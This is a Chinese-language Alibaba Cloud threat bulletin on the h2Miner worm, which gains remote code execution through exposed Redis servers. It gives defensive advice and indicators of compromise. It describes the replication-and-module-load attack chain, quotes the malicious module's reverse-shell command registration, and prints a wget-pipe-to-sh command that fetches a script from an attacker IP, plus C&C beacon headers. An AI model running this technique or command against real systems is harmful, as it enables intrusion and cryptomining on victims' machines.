威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发,建议用户及时排查以防事态升级

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云安全中心漏洞修复资源包免费试用,100次1年
云安全中心 防病毒版,最高20核 3个月
简介: 近日,阿里云安全团队监测到h2Miner挖矿僵尸网络蠕虫的一波突然爆发,其利用Redis未授权或弱口令作为入口,使用主从同步的方式从恶意服务器上同步恶意module,之后在目标机器上加载此恶意module并执行恶意指令。

概述

近日,阿里云安全团队监测到h2Miner挖矿僵尸网络蠕虫的一波突然爆发,其利用Redis未授权或弱口令作为入口,使用主从同步的方式从恶意服务器上同步恶意module,之后在目标机器上加载此恶意module并执行恶意指令。

在以往常见的攻击者或蠕虫中,其大多都沿用登陆redis后写入定时任务或写ssh key的方式进行入侵,这种方式受权限与系统类型影响并不一定能够成功。而此次使用redis加载module的攻击方式,可以直接执行任意指令或拿到shell交互环境,危害极大。

由于全网redis近百万台的数量,因此阿里云安全团队建议用户尽量不要将redis服务暴露在公网,及时排查相关弱口令问题及是否受蠕虫影响,必要时可考虑选用安全产品帮助保障安全。

背景

h2Miner团伙

h2Miner是一个linux下的挖矿僵尸网络,通过hadoop yarn未授权、docker未授权、confluence RCE、thinkphp5RCE、Redis未授权等多种手段进行入侵,下载恶意脚本及恶意程序进行挖矿牟利,横向扫描扩大攻击面并维持C&C通信。

Redis RCE

此利用方式由Pavel Toporkov在zeronights 2018上分享,在Redis 4.x之后,Redis新增了Module功能,使用者可以在Redis中加载由C语言编译而成的so文件,从而实现特定的Redis命令。而在Redis主从模式下,可以通过FULLRESYNC同步文件到从机上,从而完成恶意so文件的传输。传输完成后在目标机Redis上进行Module加载,便可执行任意指令。

蠕虫分析

近日,阿里云安全团队发现h2Miner团伙规模突然急剧上升,在短短几日所影响的主机数量翻了一个数量级,阿里云安全团队在第一时间进行了响应。根据分析,整体的攻击链路如下图:

1.攻击链路.png


攻击链路

h2miner主要使用Redis RCE的方式来完成入侵,首先利用Redis未授权或弱口令获取Redis登录权限,之后利用使用config set dbfilename red2.so来修改保存文件名,之后使用salveof命令设置主从复制的主机地址。当目标Redis服务与攻击者所有的恶意Redis服务建立主从连接关系后,攻击者控制恶意Redis发送FULLRESYNC进行文件同步,同步的结果会在目标Redis上写入red2.so文件,从而完成了恶意so文件的传输。在此之后,攻击者利用module load ./red2.so加载此so文件,此模块根据传入的参数可以执行任意指令或发起反向连接获取shell环境。

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

在执行类似/bin/sh -c wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1的恶意指令之后,攻击者会将的文件名恢复为默认的,并使用module unload卸载system模块的加载,从而清理相应的痕迹。但依旧在被攻击主机上残留有red2.so文件,建议用户关注自身Redis服务目录下是否有此可疑文件。

跟进其使用的恶意脚本,除了杀死一些恶意进程以抢夺资源之外,会向http://142.44.191.122/kinsing下载恶意二进制文件并运行,因此主机中包含kinsing的进程或目录可能代表此机器已被该蠕虫"光临"。
根据简单的逆向分析结果显示,该恶意程序主要有以下功能:

  • 下载文件并执行
  • 执行挖矿程序
  • 维持C&C通信并执行命令
  • 利用masscan对外扫描以扩大影响面

2恶意函数列表.png


恶意程序函数列表

除此之外,恶意程序中内置了C&C服务器ip地址,受影响的主机会以http的方式与C&C通信服务器进行通信,其中肉鸡的信息在http头部中标识。

3.png


内置C&C服务器

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

其他攻击方式

表格.jpg

IOC

/kinsing

142.44.191.122/t.sh
185.92.74.42/h.sh
142.44.191.122/spr.sh
142.44.191.122/spre.sh
195.3.146.118/unk.sh

c&c
45.10.88.102
91.215.169.111
139.99.50.255
46.243.253.167
195.123.220.193

安全建议

  1. Redis 非必要情况不要暴露在公网,使用足够强壮的Redis口令;
  2. 排查Redis路径下是否残留red2.so文件,查询主机上是有否包含有kinsing的文件或进程,以确认是否被此蠕虫感染;
  3. 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。此外,云防火墙独有的虚拟补丁功能,能够帮助客户更灵活、更“无感”地阻断攻击;
  4. 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。

本文作者: 苍珀
致谢:桑铎

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
5天前
|
缓存 NoSQL 网络协议
【Azure Redis】因为Redis升级引发了故障转移后的问题讨论
3:对于Redis的Server Load指标,每秒创建连接数的并发值,是否有建议呢? 【答】:为了避免将缓存推到 100% 服务器负载,建议将连接创建速率保持在每秒 30 个以下。
|
3月前
|
缓存 NoSQL Linux
【Azure Redis 缓存】应用中出现连接Redis服务错误(production.ERROR: Connection refused)的排查步骤
【Azure Redis 缓存】应用中出现连接Redis服务错误(production.ERROR: Connection refused)的排查步骤
|
3月前
|
存储 缓存 NoSQL
【Azure Redis 缓存】对于Azure Redis 从 Redis 4 升级到 Redis 6 的一些疑问
【Azure Redis 缓存】对于Azure Redis 从 Redis 4 升级到 Redis 6 的一些疑问
|
3月前
|
缓存 监控 NoSQL
【Azure Redis 缓存】Azure Redis出现了超时问题后,记录一步一步的排查出异常的客户端连接和所执行命令的步骤
【Azure Redis 缓存】Azure Redis出现了超时问题后,记录一步一步的排查出异常的客户端连接和所执行命令的步骤
|
3月前
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】Redis连接无法建立问题的排查(注:Azure Redis集成在VNET中)
【Azure Redis 缓存】Redis连接无法建立问题的排查(注:Azure Redis集成在VNET中)
|
3月前
|
缓存 NoSQL Redis
【Azure Redis 缓存】Azure Redis读写比较慢/卡的问题排查
【Azure Redis 缓存】Azure Redis读写比较慢/卡的问题排查
|
3月前
|
缓存 NoSQL 网络安全
【Azure Redis 缓存 Azure Cache For Redis】Azure Redis由低级别(C)升级到高级别(P)的步骤和注意事项, 及对用户现有应用的潜在影响,是否需要停机时间窗口,以及这个时间窗口需要多少的预估问题
【Azure Redis 缓存 Azure Cache For Redis】Azure Redis由低级别(C)升级到高级别(P)的步骤和注意事项, 及对用户现有应用的潜在影响,是否需要停机时间窗口,以及这个时间窗口需要多少的预估问题
|
3月前
|
NoSQL Redis
Redis 版本升级问题之旧AOF文件如何解决
Redis 版本升级问题之旧AOF文件如何解决
|
3月前
|
NoSQL Redis
Redis 版本升级问题之识别升级过程如何解决
Redis 版本升级问题之识别升级过程如何解决
|
5月前
|
NoSQL Java 应用服务中间件
蓝易云 - Spring redis使用报错Read timed out排查解决
以上都是可能的解决方案,具体的解决方案可能会因具体情况而异。
58 1